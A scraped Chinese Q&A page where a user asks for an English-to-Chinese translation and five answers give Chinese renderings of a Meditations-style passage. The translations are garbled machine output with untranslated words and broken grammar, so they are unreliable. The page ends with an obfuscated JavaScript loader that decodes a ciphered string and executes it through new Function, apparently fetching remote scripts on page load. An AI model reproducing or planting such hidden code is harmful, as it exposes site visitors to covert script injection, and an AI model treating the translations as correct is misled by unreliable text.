英译汉的翻译 高手!~急用啊!!!拜托了

2025-02-28 16:15:49
推荐回答(5个)
回答1:

从黎明兄弟,一仁慈性格和一个父亲般地管理家庭和向本质conformably居住的观念的;没有矫揉造作引力和仔细照看朋友的利益和容忍无知人和那些从没有考虑意见谁;他有立即使自己适应所有的力量,因此和他往来是比任何flatteryl更使人喜欢;同时他被和他交往的那些最高度敬重;他有才能,在两方面同样地发现以聪明和有条不紊方式和点,终身原则neccessary;他从不展示恼怒或者任何另一激情但是是完全摆脱激情最和也最热情;他能表示没有嘈杂展示批准,和他没有炫耀拥有许多知识. 从西蒙语法学家,向前避免爱挑毛病的和不是以责难方式责备使用野蛮或者失礼的一些或者strage-发声表达的那些;但是灵巧地提出就是这表达哪一个应该有被使用和在答案或者给出确认,或者它自己参加一调查东西这方面不是关于词或者经过一些其他的适合建议. i向Vipin学习注意到什么感到妒忌,和口是心非和虚伪是在一个暴君身上,和通常在我们中间是的那些给地方行政长官打电话是相当缺乏父爱. Fram亚历山大柏拉图的,不经常也不没有对向任何一个或者向在一封信中写说那个的必要性i没有空闲;也不不断使对职责,被我们和我们通过声称紧迫职业接受的那些的关系要求的疏忽可以被原谅. 从三趾树懒不要,当即使他将去没有reasion挑毛病,一个朋友挑毛病的时候,是无关紧要但是设法使他恢复他的通常性格;是准备好赞扬老师是它被Domitius和Atheondotus的所报告的;确实爱我的人们.

回答2:

从李明兄弟,一项德政处置,以及一个家庭的管治在一个慈父的方式,和的思想,生活conformably自然;性和严重性,没有affectation ,并仔细考虑后的利益,朋友,和容忍无知的人,和那些从谁的意见,而不考虑;他的权力,随时可容纳自己所有,使性交时与他更多的认同,比任何flatteryl ;以及在同一时间,他最高度崇敬的那些谁与他有联系的;他曾系都发现和订购,在智能和有条不紊的方式,原则,必要的生活;和他从未表明,愤怒或任何其他激情,但完全是免费的,从激情,也最有情;他可以表达的赞许无噪音显示,他拥有很多的知识,没有排场。

从西蒙的grammarian ,避免faultfinding ,而不是在一个reproachful的方式责备那些谁说出任何野蛮或solecistic或strage冠冕堂皇的表达;但dexterously介绍非常的表达应已使用,并在方式答案或给予确认,或参加在一询问关于这件事本身,而不是字,或由其他一些合适的建议。

从vipin我学到观察什么令人羡慕的,口是心非,虚伪正处在一个暴君,和一般那些在我们中间谁被称为patricians是相当不足,在父亲的感情。

随机亚历山大柏拉图,不是经常,也没有必要说任何一个,或写在一封信中,我没有闲暇;也不断借口疏忽职守,需要我们有关的那些人我们的生活,指迫切的职业。

由爱,而不是无动于衷时,一位朋友发现故障,即使他要找到故障没有reasion ,但设法恢复他他一贯的处置,并准备发言,以及教师,因为它是举报多米丢和atheondotus ;及地爱着我的人民的真正。

回答3:

从李Ming兄弟,仁慈性格,和家庭治理了以父亲般的方式和想法一致居住对自然; 并且没有做作的重力和小心地看,在朋友的兴趣和容忍无知的人和那些人从观点,不用考虑之后; 他有准备好容纳的力量对所有,因此与他的往来比所有flatteryl愉快; 并且他由联合他的那些人高度同时崇敬; 并且他有教职员发现和预定,用一个聪明和有条不紊的方式,原则必要在生活; 并且他未曾显示愤怒或其他激情,但是从激情是完全地自由,并且他拥有了知识,不用夸示 .

从西蒙文法家,克制吹毛求疵和不在一个可耻的方式责骂说出其中任一野蛮或solecistic或者strage听起来表示的那些人; 但是灵巧地介绍应该使用了的表示,和用方式答复或给确认或者加入询问关于事,不关于词,或者由某一其他适合建议。

从Vipin我学会观察什么妒嫉和奸诈和伪善是在暴君,并且那通常那些在告诉的我们之中贵族在父亲喜爱上是相当短少。

从亚历山大帕拉图式,不常常地亦不没有说到任何一个,或者写道的必要在信件中,我没有休闲; 亦不不断地辨解我们的联系需要的玩忽职守对那些与谁我们居住,通过宣称迫切职业

从Ai,不是冷漠的,当朋友发现缺点,即使他应该发现缺点,不用reasion,但是设法恢复他到他的通常性格; 并且准备很好讲话老师,报告Domitius和Atheondotus; 并且真实地爱我的人民。

能力有限,有些地方翻译不周到尽请原谅

回答4:

从李明兄弟,一仁慈性格和一个父亲般地管理家庭和向本质自然居住的观念的;没有矫揉造作引力和仔细照看朋友的利益和容忍无知人和那些从没有考虑意见谁;他有立即使自己适应所有的力量,因此和他往来是比任何人更使人喜欢;同时他被和他交往的那些最高度敬重;他有才能,在两方面同样地发现以聪明和有条不紊方式和点,终身原则必要在生活;他从不展示恼怒或者任何另一激情但是是完全摆脱激情最和也最热情;他能表示没有嘈杂展示批准,和他没有炫耀拥有许多知识. 从西蒙语法学家,向前避免爱挑毛病的和不是以责难方式责备使用野蛮或者失礼的一些或者strage-发声表达的那些;但是灵巧地提出就是这表达哪一个应该有被使用和在答案或者给出确认,或者它自己参加一调查东西这方面不是关于词或者经过一些其他的适合建议. 向学习注意到什么感到妒忌,和口是心非和虚伪是在一个暴君身上,和通常在我们中间是的那些给地方行政长官打电话是相当缺乏父爱. 来自亚历山大柏拉图的,不经常也不没有对向任何一个或者向在一封信中写说那个的必要性i没有空闲;也不不断使对职责,被我们和我们通过声称紧迫职业接受的那些的关系要求的疏忽可以被原谅. 从三趾树懒不要,当即使他将去没有马上挑毛病,一个朋友挑毛病的时候,是无关紧要但是设法使他恢复他的通常性格;是准备好赞扬老师是它被 的所报告的;确实爱我的人们.

回答5:

我翻字典一个一个查的,斟酌字句,累死我也。请勿转贴。谢谢。

从李明兄弟,一种慈善的性情, 和那以父亲的样子家庭统治, 和主意生活一致地对自然; 而且没有假装的地心引力, 和对神情小心地在朋友的兴趣之后, 和宽容无知识的人, 和人从没有考量的意见; 他有力量不迟疑亲切他自己到所有的, 所以交往与他是更愉快的超过任何的 flatteryl; 而且同时他是根据人最高度地尊敬和他联合;而且他有全体教员两者的发现而且命令, 以聪明和有方法的方式, 原则终身的 neccessary; 而且他从不表示忿怒或者任何其他的强烈感情, 但是完全地自由的从强烈的感情, 以及大部分情深的; 而且他可以快递没有吵杂的展览的认可, 和他持有很多没有虚饰的知识。

从西蒙文法家,对来自吹毛求疵的行为的重复, 而且不以申斥的方式斥责发出了任何的野蛮或违反语法或 strage-探通术的表达的人; 但是灵巧地介绍最表达应该有是二手的, 和关于答案或提供证实, 或加入针对事物本身的质询, 不有关字的事, 或被一些其他的适宜提议。

从 Vipin i 有学问的观察什么羡慕和口是心非, 和伪善在一位暴君中, 和通常在我们之中的那些打电话给的谁是贵族在父亲的爱方面相当不足。

Fram 亚历山大 platonic, 不时常也不没有需要对对任何的的发言权, 或写在一信, i 有没有休闲;也不不断地对藉口那由我们的关系对那些是必需的责任疏忽与谁我们活的, 藉由声称紧急的职业。

从 Ai, 不是漠不关心的当一位朋友吹毛求疵的时候,即使他没有 reasion 应该吹毛求疵, 但是到尝试到复位他对他的平常性情; 而且准备好说老师的好话, 当它之时是 Domitius 和 Atheondotus 报告; 而且对爱我的民族真正。

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();